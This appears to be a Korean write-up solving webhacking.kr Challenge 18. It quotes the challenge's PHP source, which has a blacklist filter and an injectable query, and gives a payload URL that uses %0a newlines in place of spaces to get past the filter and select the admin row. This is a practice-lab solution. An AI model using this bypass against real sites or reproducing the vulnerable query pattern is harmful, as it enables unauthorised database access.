싱거운 문제들의 연속이다가 다시 sql injection이 나왔다.
시키는데로 index.phps를 보도록 하자.
<html> <head> <title>Challenge 18</title> <style type="text/css"> body { background:black; color:white; font-size:10pt; } input { background:silver; } a { color:lightgreen; } </style> </head> <body> <br><br> <center><h1>SQL INJECTION</h1> <form method=get action=index.php> <table border=0 align=center cellpadding=10 cellspacing=0> <tr><td><input type=text name=no></td><td><input type=submit></td></tr> </table> </form> <a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br> <? if($_GET[no]) { if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); $q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]")); if($q[0]=="guest") echo ("hi guest"); if($q[0]=="admin") { @solve(); echo ("hi admin!"); } } ?> </a> <br><br><a href=index.phps>index.phps</a> </cener> </body> </html>
no라는 파라미터를 받고..
eregi 로 필터링하고 있다. 뜬금없이 하는 말이지만 php7.0부터는 eregi 가 removed되었다. 쓰지말자.
쿼리문을 보면 이름부터 guest를 select하도록 되어있다. 그런데 우린 admin을 원한다. 따라서 이녀석을 깨야한다.
and값을 무효로 만들기 위해 일단 쓰레기값을 하나 넣는다. 그 뒤에 or을 넣어 새로운값을 select하도록 하자. 그리고 공백은 필터링되고 있으니, 여태 잘 써먹고 있는 %0a를 쓰자.
http://webhacking.kr/challenge/web/web-32/index.php?no=-1%0Aor%0Ano=2
solved!